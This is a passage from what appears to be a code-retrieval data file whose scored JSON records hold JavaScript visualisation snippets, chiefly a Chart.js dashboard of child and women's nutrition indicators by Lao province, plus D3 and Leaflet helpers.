layout: {\n displayOrder: 2, // must be larger than the displayOrder for the 'bars' component\n },\n settings: {\n sources: [\n {\n component: \"bars\",\n selector: \"rect\",\n strategy: {\n type: \"bar\",\n settings: {\n direction: function ({ data }) {\n return data && data.end.value > data.start.value\n ? \"up\"\n : \"down\";\n },\n fontFamily: \"Helvetica\",\n fontSize: 14,\n align: 0.5,\n justify: 1,\n labels: [\n {\n label({ data }) {\n return data\n ? \"£\" + data.end.label.toLocaleString(\"en\")\n : \"\";\n },\n placements: [{ position: \"inside\", fill: \"#fff\" }],\n },\n ],\n },\n },\n },\n ],\n },\n },\n ],\n },\n });\n}", "title": "" }, { "docid": "53ba92a4cd28f40aae8e4adc3c92d8d9", "score": "0.493417", "text": "function placeBud() {\n\tfor (f = 0; f < 12; f++) {\n\t\tdrawBud(bx[f], by[f], 10);\n\t}\n}", "title": "" }, { "docid": "42faffc7ff67670d2543c35e38905160", "score": "0.49282926", "text": "function start_cir_plot() {\n\n d3.select(\"#chart\").selectAll('svg').remove();\n d3.select(\"#hesid\").selectAll('svg').remove();\n d3.select(\"#pairs\").selectAll(\"p\").remove();\n d3.select(\"#hds_matrix\").selectAll('svg').remove();\n d3.select(\"#load_data\").remove();\n \n \n // load statistical values\n load_stat_value();\n \n // create cricularplot\n Create_chr_circle(0, 0, 0);\n Create_SNP_association();\n // create group-histogram\n histogram_edges_subgraphId(0);\n // create SNP list\n histogram_degree_SNPs(0, 0, 0);\n }", "title": "" }, { "docid": "0c84ef22dc6681d3300ddefd7c396d11", "score": "0.49027693", "text": "function brush_parallel_chart() {\n for (var i = 0; i < pcDimensions.length; ++i) {\n if (d3.event.target == pcY[pcDimensions[i]].brush) {\n if (d3.event.selection == null) {\n pcExtents[i] = [0,0];\n } else {\n pcExtents[i] = d3.event.selection.map(pcY[pcDimensions[i]].invert, pcY[pcDimensions[i]]);\n }\n }\n }\n pcForeground.style(\"display\", function (d) {\n return pcDimensions.every(function (p, i) {\n var val = d[p].val;\n if (pcExtents[i][0] == 0 && pcExtents[i][1] == 0) {\n return true;\n }\n return pcExtents[i][1] <= val && val <= pcExtents[i][0];\n }) ? null : \"none\";\n });\n }", "title": "" }, { "docid": "90889282b779d02a78558aa6866584c7", "score": "0.49017167", "text": "function drawDataReferencePoints() {\n\t // Creates Dots on Data points\n\t var points = svg.select('.chart-group').selectAll('.dots').data(layers).enter().append('g').attr('class', 'dots').attr('d', function (_ref4) {\n\t var values = _ref4.values;\n\t return area(values);\n\t }).attr('clip-path', 'url(#clip)');\n\t\n\t // Processes the points\n\t // TODO: Optimize this code\n\t points.selectAll('.dot').data(function (_ref5, index) {\n\t var values = _ref5.values;\n\t return values.map(function (point) {\n\t return { index: index, point: point };\n\t });\n\t }).enter().append('circle').attr('class', 'dot').attr('r', function () {\n\t return pointsSize;\n\t }).attr('fill', function () {\n\t return pointsColor;\n\t }).attr('stroke-width', '0').attr('stroke', pointsBorderColor).attr('transform', function (d) {\n\t var point = d.point;\n\t\n\t var key = xScale(point.date);\n\t\n\t dataPoints[key] = dataPoints[key] || [];\n\t dataPoints[key].push(d);\n\t\n\t var date = point.date,\n\t y = point.y,\n\t y0 = point.y0;\n\t\n\t return 'translate( ' + xScale(date) + ', ' + yScale(y + y0) + ' )';\n\t });\n\t }", "title": "" }, { "docid": "f17290f279b2b0f64dac5917c305b123", "score": "0.49011657", "text": "function initCashData(dataLink) {\n var dataCash = (function(){\n var a;\n $.ajax({\n type: 'GET',\n url: dataLink,\n format: 'json',\n async: false,\n success: function(dataArgs){\n a = hxlProxyToJSON(dataArgs);\n }\n });\n return a;\n })();\n cashDataForIPC = dataCash;\n cashData = crossfilter (dataCash); \n cashIPCDim = cashData.dimension(function(d){ return d['#adm2+code']; });\n cashIPCGroup = cashIPCDim.group().reduceSum(function(d){ return d[\"#beneficiary\"]; }).top(Infinity);\n \n pctRawData = d3.nest()\n .key(function(d){\n return d['#adm2+code'];\n })\n .key(function(d){\n return d['#sector'];\n })\n .rollup(function(v) { \n return d3.sum(v, function(d){ \n return Number(d[config.sumField]); \n })\n })\n .entries(dataCash);\n\n} //end of initCashData", "title": "" }, { "docid": "1f08b1f3438e566ebd0c7f0a099024ac", "score": "0.48876396", "text": "function cross() {\r\n\t\tvar cross = document.createElement(\"div\")\r\n\t\t$(cross).addClass(\"cross\")\r\n\r\n\t\tvar lineone = document.createElement(\"div\")\r\n\t\t$(lineone).addClass(\"line\")\r\n\t\tvar linetwo = document.createElement(\"div\")\r\n\t\t$(linetwo).addClass(\"line\")\r\n\r\n\t\t$(cross).append(lineone)\r\n\t\t$(cross).append(linetwo)\r\n\r\n\t\treturn cross;\r\n\t}", "title": "" }, { "docid": "7cdd5f95db56ab852aaf2c8136113182", "score": "0.488654", "text": "function affichePoints (points){\r\n for (var i = 0; i < points.length; i++) {\r\n points[i][\"type\"] = \"Feature\";\r\n\t\t points[i][\"properties\"] = points[i][\"fields\"];\r\n tableau[i] = points[i];\r\n }\r\n\r\n var cats = [];\r\n for (var i = 0; i < tableau.length; i++) {\r\n var cat = getCat(cats, tableau[i].groupe);\r\n if (cat === undefined) {\r\n cat = {\r\n \"interestPoints\" : createInterestPoints(),\r\n \"id\" : \"cat\" + i,\r\n \"groupe\" : tableau[i].groupe\r\n }\r\n cats.push(cat);\r\n }\r\n cat[\"interestPoints\"].addData(tableau[i]);\r\n }\r\n\r\n\r\n var command = L.control({position: 'topright'});\r\n command.onAdd = function (map) {\r\n var div = L.DomUtil.create('div', 'command');\r\n for (var i = 0; i < cats.length; i++) {\r\n div.innerHTML += '<form><input id=\"' + cats[i][\"id\"] + '\" type=\"checkbox\"/>' + cats[i][\"groupe\"] + '</form>';\r\n }\r\n return div;\r\n };\r\n\r\n //Ca marche c'est pas mmal\r\n if (commande) {\r\n commande.removeFrom(map);\r\n }\r\n commande = command.addTo(map);\r\n\r\n for (var i = 0; i < cats.length; i++) {\r\n var categorie = document.getElementById(cats[i][\"id\"]);\r\n categorie.addEventListener(\"click\",handleCommand, false);\r\n }\r\n\r\n function handleCommand() {\r\n var selectedCat;\r\n for (var i = 0; i < cats.length; i++) {\r\n if (cats[i][\"id\"] === this.id) {\r\n selectedCat = cats[i];\r\n break;\r\n }\r\n }\r\n if (this.checked) {\r\n selectedCat[\"interestPoints\"].addTo(map);\r\n } else {\r\n map.removeLayer(selectedCat[\"interestPoints\"]);\r\n }\r\n\r\n map.on('moveend', function(){\r\n\t\t\t\taskForCommando();\r\n if (selectedCat[\"interestPoints\"]) {\r\n map.removeLayer(selectedCat[\"interestPoints\"]);\r\n }\r\n });\r\n } // Fin handleCommand\r\n\r\n function getCat(cats, cat) {\r\n for (var i = 0; i < cats.length; i++) {\r\n if (cats[i][\"groupe\"] === cat) {\r\n return cats[i];\r\n }\r\n }\r\n return ;\r\n }\r\n\r\n function createInterestPoints () {\r\n\r\n return new L.geoJson([], {\r\n\t\t\tpointToLayer: function(feature, latlng) {\r\n\t\t\t\tvar smallIcon = L.icon({\r\n iconUrl: getIcon(feature.groupe),\r\n //shadowUrl: 'icon-shadow.png',\r\n iconSize: [33, 44], // taille de l'icone\r\n //shadowSize: [50, 64], // taille de l'ombre\r\n iconAnchor: [16, 44], // point de l'icone qui correspondra à la position du marker\r\n //shadowAnchor: [32, 64], // idem pour l'ombre\r\n popupAnchor: [-3, -76] // point depuis lequel la popup doit s'ouvrir relativement à l'iconAnchor\r\n });\r\n return L.marker(latlng, {icon: smallIcon});\r\n\r\n\t\t\t},\r\n onEachFeature: function (feature, layer) {\r\n var html = '';\r\n if (feature.nom) {\r\n html += '<b>' + feature.nom + '</b></br>';\r\n }\r\n if (feature.groupe) {\r\n html += '<b>' + feature.groupe + '</b></br>';\r\n }\r\n if (feature.fclass) {\r\n html += '<b>' + feature.fclass + '</b></br>';\r\n }\r\n if (feature.typeborne) {\r\n html += '<b>' + feature.typeborne + '</b></br>';\r\n }\r\n if (feature.tempsmoy) {\r\n html += '<b>' + feature.tempsmoy + '</b></br>';\r\n }\r\n layer.bindPopup(html);\r\n }\r\n });\r\n }\r\n\r\n }", "title": "" }, { "docid": "8feb016ff65aa7040f9bfe0b9eef8edd", "score": "0.48778188", "text": "function createCandles(){\n\tcreateCandle(90,4,0);\n\tcreateCandle(-90,4,0);\n\tcreateCandle(-50,4,90);\n\tcreateCandle(-50,4,-90);\n\tcreateCandle(50,4,-90);\n\tcreateCandle(50,4,90);\n\tpoint_lights[0] = createPointLight(90,10,0, 0xffffff);\n\tpoint_lights[1] = createPointLight(-90,10,0, 0xffffff);\n\tpoint_lights[2] = createPointLight(50,10,-90, 0xffffff);\n\tpoint_lights[3] = createPointLight(-50,10,-90, 0xffffff);\n\tpoint_lights[4] = createPointLight(-50,10,90, 0xffffff);\n\tpoint_lights[5] = createPointLight(50,10,90, 0xffffff);\n}", "title": "" }, { "docid": "bdf936a24c76237d736bd7bc2806c3c8", "score": "0.4874873", "text": "function buildChart(value) {\n const wasting = value[0];\n const anemia = value[1];\n const overWeightObese = value[2];\n const IYCF = value[3];\n const miniDiet = value[4];\n const womenDiet = value[5];\n const mapSec3 = value[6];\n const socio = value[7];\n const masterIndicator = value[8];\n\n //This function will attach the indicator base on year and name of indicator\n //National Input: 0 -> Not including national geography, 1: including national geography, 2: including all\n const extractIndicator = (nameOfIndicator, year, nameOfTargetVariable, option) => {\n if (option === 0) {\n masterIndicator.map(d => {\n if ((d['indicator'] === nameOfIndicator) && (d['year'] === year) && ((d['geography-level'] !== 'target-2020') && (d['geography-level'] !== 'target-2025') && (d['geography-level'] !== 'NATIONAL'))) {\n nameOfTargetVariable.push(d);\n }\n return nameOfTargetVariable\n })\n } else if (option === 1) {\n masterIndicator.map(d => {\n if ((d['indicator'] === nameOfIndicator) && (d['year'] === year) && ((d['geography-level'] !== 'target-2020') && (d['geography-level'] !== 'target-2025'))) {\n nameOfTargetVariable.push(d);\n }\n return nameOfTargetVariable\n })\n } else {\n masterIndicator.map(d => {\n if ((d['indicator'] === nameOfIndicator) && (d['year'] === year)) {\n nameOfTargetVariable.push(d);\n }\n return nameOfTargetVariable\n })\n }\n return nameOfTargetVariable\n }\n\n //Set Variable of Master Indicator (21 Indicators) dataset\n let childrenWhoAreBreastfedNoNational = []; //Continued breastfeeding until 2 years of age\n extractIndicator('% children 20-23 months who are breastfed (continued breastfeeding until 2 years of age)', '2017', childrenWhoAreBreastfedNoNational, 0);\n\n\n\n //---Child Malnutrition Chart\n //*******************************/\n //START Home Tab Chart\n //*******************************/\n //---Wasting Chart---\n //Create a sub data from main file (sorting list)\n let wastingSort = wasting.slice().sort((a, b) => a[\"ValueWasting\"] - b[\"ValueWasting\"]);\n let overWeightSort = wasting.slice().sort((a, b) => a[\"ValueOverWeight\"] - b[\"ValueOverWeight\"]);\n //Create Variable by Stat index\n let provinceW = wasting.map(d => d[\"Province\"]);\n let valueW = wasting.map(d => d[\"ValueWasting\"]);\n let provinceO = wasting.map(d => d[\"Province\"]);\n let valueO = wasting.map(d => d[\"ValueOverWeight\"]);\n //Sorted Variable for Wasting\n let provinceWSort = wastingSort.map(d => d[\"Province\"]);\n let valueWSort = wastingSort.map(d => d[\"ValueWasting\"]);\n let valueOByWSort = wastingSort.map(d => d[\"ValueOverWeight\"]);\n //Sorted Variable for Overweight\n let provinceOSort = overWeightSort.map(d => d[\"Province\"]);\n let valueOSort = overWeightSort.map(d => d[\"ValueWasting\"]);\n let valueSByOSort = overWeightSort.map(d => d[\"ValueOverWeight\"]);\n let getWastingAndOverweightChart = document.getElementById('wastingAndOverweightChart').getContext(\"2d\");\n let wastingAndOverweightChart = new Chart(getWastingAndOverweightChart, {\n type: 'bar',\n data: {\n labels: provinceW,\n datasets: [{\n label: 'Wasting',\n data: valueW,\n backgroundColor: uBlue,\n borderWidth: 0,\n }, {\n label: 'Overweight',\n data: valueO,\n backgroundColor: uDarkBlue,\n borderWidth: 0,\n }]\n },\n plugins: [ChartDataLabels],\n options: {\n scales: {\n yAxes: [{\n ticks: {\n beginAtZero: true,\n maxTicksLimit: 5,\n },\n gridLines: {\n borderDash: [3, 5]\n }\n }],\n xAxes: [{\n gridLines: {\n drawOnChartArea: false,\n }\n }]\n },\n maintainAspectRatio: false,\n animation: {\n onComplete: function () {\n let wastingAndOverweightChartURL = wastingAndOverweightChart.toBase64Image();\n downloadChartDataButton(\"wastingAndOverweightChartPNGDownload\", wastingAndOverweightChartURL);\n downloadChartDataButton(\"wastingAndOverweightChartDataDownload\", wastingPath);\n }\n }\n }\n });\n\n //Variable for update on click button\n let overviewWastingButton = [valueWSort, valueOByWSort, provinceW];\n let overviewOverweightButton = [valueOSort, valueSByOSort, provinceOSort];\n let overviewResetButton = [valueW, valueO, provinceW];\n\n let overviewTestChart = [\n {\"overviewWastingButton\": overviewWastingButton},\n {\"overviewOverweightButton\": overviewOverweightButton},\n {\"overviewResetButton\": overviewResetButton},\n ]\n\n //Function to highlight activated button and update data based on click button\n let highlightActivatedButton = () => {\n let toolbarOverview = document.getElementById(\"toolbarOverview\");\n let btnClass = toolbarOverview.getElementsByClassName(\"btn btn-outline-primary\");\n\n //Create a list of this button\n let listOverviewButton = [];\n for (let i = 0; i < btnClass.length; i++) {\n listOverviewButton.push(btnClass[i].id);\n }\n\n for (let i = 0; i < btnClass.length; i++) {\n btnClass[i].addEventListener(\"click\", function () { //Add event to capture click\n for (let j = 0; j < btnClass.length; j++) { //remove previous activated element\n listOverviewButton.map(element => {\n document.getElementById(element).classList.remove(\"active\");\n });\n }\n //this.classList.add(\"active\"); //Add color highlight for activated button\n //Update data for Child Malnutrition Chart\n overviewTestChart.map(element => {\n if (Object.keys(element) == btnClass[i].id) {\n wastingAndOverweightChart.data.datasets[0].data = element[btnClass[i].id][0];\n wastingAndOverweightChart.data.datasets[1].data = element[btnClass[i].id][1];\n wastingAndOverweightChart.data.labels = element[btnClass[i].id][2];\n wastingAndOverweightChart.update();\n }\n });\n });\n }\n }\n highlightActivatedButton();\n\n\n//---Women Under nutrition Chart---\n //Creat Women Malnutrition\n let anemiaSort = anemia.slice().sort((a, b) => b.ValueAnemia - a.ValueAnemia);\n let province = anemiaSort.map(d => d.Province); //This province variable represent every province variable in home tab chart\n let WHO = anemiaSort.map(d => d.WHOCutOff);\n let valueAnemia = anemiaSort.map(d => d.ValueAnemia);\n\n //Creat Women Malnutrition\n let getWomenAnemia = document.getElementById('womenAnemia').getContext(\"2d\");\n let womenAnemia = new Chart(getWomenAnemia, {\n type: 'bar',\n data: {\n labels: province,\n datasets: [\n {\n label: 'WHO Cutoff 20%',\n data: WHO,\n type: 'line',\n fill: false,\n borderColor: uRed,\n pointStyle: \"line\",\n borderWidth: 0,\n },\n {\n label: 'Percentage of Women Anemia Prevalence',\n data: valueAnemia,\n backgroundColor: uBlue,\n borderColor: uBlue,\n borderWidth: 0,\n }\n\n ]\n },\n options: {\n scales: {\n yAxes: [{\n ticks: {\n beginAtZero: true,\n maxTicksLimit: 5,\n },\n gridLines: {\n borderDash: [3, 5],\n }\n }],\n xAxes: [{\n gridLines: {\n drawOnChartArea: false,\n }\n }]\n },\n maintainAspectRatio: false,\n }\n });\n\n//Creat Women Overweight and Obesity Chart\n let valueWOverWeight = overWeightObese.map(d => d[\"ValueWomenOverWeight\"]);\n let valueWObese = overWeightObese.map(d => d[\"ValueObese\"]);\n let getWomenOverweightAndObese = document.getElementById('womenOverweightAndObese').getContext(\"2d\");\n let womenOverweightAndObese = new Chart(getWomenOverweightAndObese, {\n type: 'bar',\n data: {\n labels: province,\n datasets: [{\n label: 'Women Overweight',\n data: valueWOverWeight,\n backgroundColor: uBlue,\n borderWidth: 0,\n },\n {\n label: 'Women Obese',\n data: valueWObese,\n backgroundColor: uDarkBlue,\n borderWidth: 0,\n }]\n },\n plugins: [ChartDataLabels],\n options: {\n scales: {\n yAxes: [{\n ticks: {\n beginAtZero: true,\n maxTicksLimit: 5,\n },\n stacked: true,\n gridLines: {\n borderDash: [3, 10]\n }\n }],\n xAxes: [{\n stacked: true,\n gridLines: {\n drawOnChartArea: false,\n }\n }]\n },\n maintainAspectRatio: false,\n }\n });\n\n//Section 2 Chart: Immediate determinants of under nutrition\n\n//IYCF Chart\n //Set Variable for Initiation Breastfeeding Chart\n // let initiationBreastSort = IYCF.slice().sort((a, b) => b.ValueEarlyBreast - a.ValueEarlyBreast);\n // let valueInitiationBreast = initiationBreastSort.map(d => d.ValueEarlyBreast);\n // let provinceInitiationBreast = initiationBreastSort.map(d => d.Province);\n // //Set Variable for Exclusive Breastfeeding Chart\n // let exclusiveBreastSort = IYCF.slice().sort((a, b) => b.ValueExclusiveBreast - a.ValueExclusiveBreast);\n // let valueExclusiveBreast = exclusiveBreastSort.map(d => d.ValueExclusiveBreast);\n // let provinceExclusiveBreast = exclusiveBreastSort.map(d => d.Province);\n // let NPANTargetIYCF = IYCF.map(d => d.NPANTarget);\n // let getExclusiveBreastfeeding = document.getElementById('exclusive-breastfeeding-chart').getContext(\"2d\");\n // let exclusiveBreastfeedingChart = new Chart(getExclusiveBreastfeeding, {\n // type: 'bar',\n // data: {\n // labels: provinceExclusiveBreast,\n // datasets: [{\n // label: 'NPAN Taget 70%',\n // data: NPANTargetIYCF,\n // backgroundColor: uRed,\n // borderColor: uRed,\n // borderWidth: 0,\n // type: 'line',\n // pointStyle: \"line\",\n // fill: false,\n // },\n // {\n // label: 'Exclusive Breastfeeding',\n // data: valueExclusiveBreast,\n // backgroundColor: uBlue,\n // hoverBackgroundColor: uDarkBlue,\n // borderWidth: 0,\n // }]\n // },\n // options: {\n // scales: {\n // yAxes: [{\n // ticks: {\n // beginAtZero: true,\n // maxTicksLimit: 5,\n // },\n // gridLines: {\n // borderDash: [3, 10]\n // }\n // }],\n // xAxes: [{\n // gridLines: {\n // drawOnChartArea: false,\n // }\n // }],\n // },\n // maintainAspectRatio: false,\n // }\n // });\n // let getEarlyInitiationOfBreastfeedingChart = document.getElementById('early-initiation-of-breastfeeding-chart').getContext(\"2d\");\n // let earlyInitiationOfBreastfeedingChart = new Chart(getEarlyInitiationOfBreastfeedingChart, {\n // type: 'bar',\n // data: {\n // labels: provinceInitiationBreast,\n // datasets: [{\n // label: 'NPAN Taget 70%',\n // data: NPANTargetIYCF,\n // backgroundColor: uRed,\n // borderColor: uRed,\n // borderWidth: 0,\n // type: 'line',\n // pointStyle: \"line\",\n // fill: false,\n // },\n // {\n // label: 'Early Initiation of Breastfeeding',\n // data: valueInitiationBreast,\n // backgroundColor: uBlue,\n // hoverBackgroundColor: uDarkBlue,\n // borderWidth: 0,\n // }]\n // },\n // options: {\n // scales: {\n // yAxes: [{\n // ticks: {\n // beginAtZero: true,\n // maxTicksLimit: 5,\n // },\n // gridLines: {\n // borderDash: [3, 10]\n // }\n // }],\n // xAxes: [{\n // gridLines: {\n // drawOnChartArea: false,\n // }\n // }],\n // },\n // maintainAspectRatio: false,\n // }\n // });\n\n //By Province\n const creatDatasetForIYCFProvince = (provinceVariable, targetDatasetOfProvince) => {\n IYCF.map(d => {\n if (d[\"Province\"] === provinceVariable) {\n targetDatasetOfProvince.push(+d[\"ValueEarlyBreast\"]);\n targetDatasetOfProvince.push(+d[\"ValueExclusiveBreast\"]);\n targetDatasetOfProvince.push(+d[\"ValueWhoAreBreastfed\"]);\n }\n });\n miniDiet.map(d => {\n if (d[\"Province\"] === provinceVariable) {\n targetDatasetOfProvince.push(+d[\"ValueMiniDietDiversity\"]);\n targetDatasetOfProvince.push(+d[\"ValueAcceptDiet\"]);\n }\n });\n return targetDatasetOfProvince\n }\n const creatChartForIYCFProvince = (provinceShortName, chartID, provinceDataset) => {\n creatDatasetForIYCFProvince(provinceShortName, provinceDataset)\n let getTemporaryChartID = document.getElementById(chartID).getContext(\"2d\");\n let thisChart = new Chart(getTemporaryChartID, {\n type: 'polarArea',\n data: {\n labels: labelsIYCF,\n datasets: [{\n label: '',\n data: provinceDataset,\n backgroundColor: [uBlue, uDarkBlue, uPurple, uGrey, uDarkGrey],\n }]\n },\n plugins: [ChartDataLabels],\n options: {\n maintainAspectRatio: false,\n legend: {\n display: false,\n },\n scales: {\n yAxes: {\n gridLines: {\n display: false,\n }\n }\n },\n plugins: {\n datalabels: {\n color: uBlack,\n anchor: 'end',\n align: 'end',\n }\n }\n }\n });\n }\n\n //Create Chart for IYCF Section by Province\n //Set province variable for IYCF section\n let IYCFVientianeCapital = [];\n let IYCFPhongsaly = [];\n let IYCFLuangnamtha = [];\n let IYCFBokeo = [];\n let IYCFOudomxay = [];\n let IYCFLuangprabang = [];\n let IYCFHuaphanh = [];\n let IYCFXayabury = [];\n let IYCFXiengkhuang = [];\n let IYCFVientianeProvince = [];\n let IYCFBorikhamxay = [];\n let IYCFKhammuane = [];\n let IYCFSavannakhet = [];\n let IYCFSaravane = [];\n let IYCFSékong = [];\n let IYCFChampasak = [];\n let IYCFAttapeu = [];\n let IYCFXaysomboun = [];\n let labelsIYCF = ['Early Initiation of Breastfeeding', 'Exclusive Breastfeeding',\n 'Minimum Diet Diversity', 'Minimum Acceptable Diet', 'Continued breastfeeding at 2 years'];\n //Activated function for creat a chart for each province\n creatChartForIYCFProvince('VTE', 'IYCF-VientianeCapital-chart', IYCFVientianeCapital);\n creatChartForIYCFProvince('PHO', 'IYCF-Phongsaly-chart', IYCFPhongsaly);\n creatChartForIYCFProvince('LNT', 'IYCF-Luangnamtha-chart', IYCFLuangnamtha);\n creatChartForIYCFProvince('BK', 'IYCF-Bokeo-chart', IYCFBokeo);\n creatChartForIYCFProvince('ODX', 'IYCF-Oudomxay-chart', IYCFOudomxay);\n creatChartForIYCFProvince('LPB', 'IYCF-Luangprabang-chart', IYCFLuangprabang);\n creatChartForIYCFProvince('HPH', 'IYCF-Huaphanh-chart', IYCFHuaphanh);\n creatChartForIYCFProvince('XYB', 'IYCF-Xayabury-chart', IYCFXayabury);\n creatChartForIYCFProvince('XK', 'IYCF-Xiengkhuang-chart', IYCFXiengkhuang);\n creatChartForIYCFProvince('VTP', 'IYCF-VientianeProvince-chart', IYCFVientianeProvince);\n creatChartForIYCFProvince('BKX', 'IYCF-Borikhamxay-chart', IYCFBorikhamxay);\n creatChartForIYCFProvince('KHM', 'IYCF-Khammuane-chart', IYCFKhammuane);\n creatChartForIYCFProvince('SVK', 'IYCF-Savannakhet-chart', IYCFSavannakhet);\n creatChartForIYCFProvince('SLV', 'IYCF-Saravane-chart', IYCFSaravane);\n creatChartForIYCFProvince('SK', 'IYCF-Sékong-chart', IYCFSékong);\n creatChartForIYCFProvince('CPS', 'IYCF-Champasak-chart', IYCFChampasak);\n creatChartForIYCFProvince('ATP', 'IYCF-Attapeu-chart', IYCFAttapeu);\n creatChartForIYCFProvince('XSB', 'IYCF-Xaysomboun-chart', IYCFXaysomboun);\n\n//MiniDiet Chart\n// //Set Variable for Minimum Diet Diversity Chart\n// let miniDietSort = miniDiet.slice().sort((a, b) => b.ValueMiniDietDiversity - a.ValueMiniDietDiversity);\n// let valueMiniDiet = miniDietSort.map(d => d.ValueMiniDietDiversity);\n// let provinceMiniDiet = miniDietSort.map(d => d.Province);\n// //Set Variable for Minimum Acceptable Diet\n// let acceptDietSort = miniDiet.slice().sort((a, b) => b.ValueAcceptDiet - a.ValueAcceptDiet);\n// let valueAcceptDiet = acceptDietSort.map(d => d.ValueAcceptDiet);\n// let provinceAcceptDiet = acceptDietSort.map(d => d.Province);\n// let NPANTargetMiniDiet = miniDiet.map(d => d.NPANTarget);\n// let getMiniDietChart = document.getElementById('prevalence-of-minimum-diet-diversity-chart').getContext(\"2d\");\n// let miniDietChart = new Chart(getMiniDietChart, {\n// type: 'bar',\n// data: {\n// labels: provinceMiniDiet,\n// datasets: [{\n// label: 'NPAN Taget 50%',\n// data: NPANTargetMiniDiet,\n// backgroundColor: uRed,\n// borderColor: uRed,\n// borderWidth: 0,\n// type: 'line',\n// pointStyle: \"line\",\n// fill: false,\n// }, {\n// label: 'Prevalence of Minimum Diet Diversity',\n// data: valueMiniDiet,\n// backgroundColor: uBlue,\n// hoverBackgroundColor: uDarkBlue,\n// borderWidth: 0,\n// }]\n// },\n// options: {\n// scales: {\n// yAxes: [{\n// ticks: {\n// beginAtZero: true,\n// maxTicksLimit: 5,\n// },\n// gridLines: {\n// borderDash: [3, 10]\n// }\n// }],\n// xAxes: [{\n// gridLines: {\n// drawOnChartArea: false,\n// }\n// }],\n// },\n// maintainAspectRatio: false,\n// }\n// });\n// let getAcceptDietChart = document.getElementById('prevalence-of-minimum-acceptable-diet-chart').getContext(\"2d\");\n// let acceptDietChart = new Chart(getAcceptDietChart, {\n// type: 'bar',\n// data: {\n// labels: provinceAcceptDiet,\n// datasets: [{\n// label: 'NPAN Target 50%',\n// data: NPANTargetMiniDiet,\n// backgroundColor: uRed,\n// borderColor: uRed,\n// borderWidth: 0,\n// type: 'line',\n// pointStyle: \"line\",\n// fill: false,\n// }, {\n// label: 'Prevalence of Minimum Acceptable Diet',\n// data: valueAcceptDiet,\n// backgroundColor: uBlue,\n// hoverBackgroundColor: uDarkBlue,\n// borderWidth: 0,\n// }]\n// },\n// options: {\n// scales: {\n// yAxes: [{\n// ticks: {\n// beginAtZero: true,\n// maxTicksLimit: 5,\n// },\n// gridLines: {\n// borderDash: [3, 10]\n// }\n// }],\n// xAxes: [{\n// gridLines: {\n// drawOnChartArea: false,\n// }\n// }],\n// },\n// maintainAspectRatio: false,\n// }\n// });\n\n//Women Diet Chart\n let womenDietSort = womenDiet.slice().sort((a, b) => b.ValueWomenDiet - a.ValueWomenDiet);\n let valueWomenDiet = womenDietSort.map(d => d.ValueWomenDiet);\n let provinceWomenDiet = womenDietSort.map(d => d.Province)\n //Creat Chart Women Malnutrition\n let getWomenDietChart = document.getElementById('womenDietChart').getContext(\"2d\");\n let womenDietChart = new Chart(getWomenDietChart, {\n type: 'horizontalBar',\n data: {\n labels: provinceWomenDiet,\n datasets: [\n {\n label: 'Percentage of Women Dietary Diversity',\n data: valueWomenDiet,\n backgroundColor: uBlue,\n borderWidth: 0,\n order: 1\n }]\n },\n options: {\n scales: {\n yAxes: [{\n gridLines: {\n drawOnChartArea: false,\n }\n }],\n xAxes: [{\n ticks: {\n beginAtZero: true,\n maxTicksLimit: 5,\n },\n gridLines: {\n borderDash: [3, 10]\n }\n }]\n },\n maintainAspectRatio: false,\n annotation: {\n annotations: [{\n type: 'line',\n mode: 'vertical',\n scaleID: 'x-axis-0',\n value: 32.4,\n borderColor: uRed,\n borderWidth: 1,\n label: {\n enabled: true,\n content: \"National 32.4%\",\n position: \"center\",\n }\n }]\n }\n }\n });\n\n//Section: Which nutrition-specific interventions are implemented?\n //Set Variable for Vitamin A Chart\n let vitaminASort = mapSec3.slice().sort((a, b) => b.ValueVitA - a.ValueVitA);\n let valueVitA = vitaminASort.map(d => d.ValueVitA);\n let provinceVitA = vitaminASort.map(d => d.Province);\n //Set Variable for Deworming Chart\n let dewormingSort = mapSec3.slice().sort((a, b) => b.ValueDeworm - a.ValueDeworm);\n let valueDeworm = dewormingSort.map(d => d.ValueDeworm);\n let provinceDeworm = dewormingSort.map(d => d.Province);\n //Set Variable for Iron Folic Chart\n let ironFolicSort = mapSec3.slice().sort((a, b) => b.ValueIronFolic - a.ValueIronFolic);\n let valueIronFolic = ironFolicSort.map(d => d.ValueIronFolic);\n let provinceIronFolic = ironFolicSort.map(d => d.Province);\n let nationalIronFolic = mapSec3.map(d => d.NationalIronFolic);\n\n//Creat Chart Vitamin A Supplement Coverage\n let ChartVitA = document.getElementById('vitAChart').getContext(\"2d\");\n let drawVitAChart = new Chart(ChartVitA, {\n type: 'horizontalBar',\n data: {\n labels: provinceVitA,\n datasets: [\n {\n label: \"Percentage of Vitamin A Supplement Coverage\",\n data: valueVitA,\n backgroundColor: uBlue,\n borderWidth: 0,\n }]\n },\n options: {\n scales: {\n yAxes: [{\n gridLines: {\n drawOnChartArea: false,\n }\n }],\n xAxes: [{\n ticks: {\n beginAtZero: true,\n maxTicksLimit: 5,\n },\n gridLines: {\n borderDash: [3, 10]\n }\n }]\n },\n maintainAspectRatio: false,\n annotation: {\n events: [\"mouseover\"],\n annotations: [{\n type: 'line',\n mode: 'vertical',\n scaleID: 'x-axis-0',\n value: 38.5,\n borderColor: uRed,\n borderWidth: 1,\n label: {\n enabled: true,\n content: \"National 38.5%\",\n position: \"center\",\n },\n }]\n }\n }\n });\n\n//Creat Chart Children Received Deworming Coverage\n let ChartDeworming = document.getElementById('dewormingChart').getContext(\"2d\");\n let drawDewormingChart = new Chart(ChartDeworming, {\n type: 'horizontalBar',\n data: {\n labels: provinceDeworm,\n datasets: [\n {\n label: 'Percentage of Who Received Deworming Coverage',\n data: valueDeworm,\n backgroundColor: uBlue,\n borderWidth: 0,\n }]\n },\n options: {\n scales: {\n yAxes: [{\n gridLines: {\n drawOnChartArea: false,\n }\n }],\n xAxes: [{\n ticks: {\n beginAtZero: true,\n maxTicksLimit: 5,\n },\n gridLines: {\n borderDash: [3, 10]\n }\n }]\n },\n maintainAspectRatio: false,\n annotation: {\n events: [\"mouseover\"],\n annotations: [{\n type: 'line',\n mode: 'vertical',\n scaleID: 'x-axis-0',\n value: 38.7,\n borderColor: uRed,\n borderWidth: 1,\n label: {\n enabled: true,\n content: \"National 38.7%\",\n position: \"center\",\n },\n }]\n }\n }\n });\n\n//Creat Chart Iron Folic Coverage\n let chartIronFolic = document.getElementById('ironFolicChart').getContext(\"2d\");\n let drawIronFolic = new Chart(chartIronFolic, {\n type: 'bar',\n data: {\n labels: provinceIronFolic,\n datasets: [\n {\n label: 'National 25.4%',\n data: nationalIronFolic,\n type: 'line',\n pointStyle: \"line\",\n borderWidth: 0,\n fill: false,\n backgroundColor: uRed,\n borderColor: 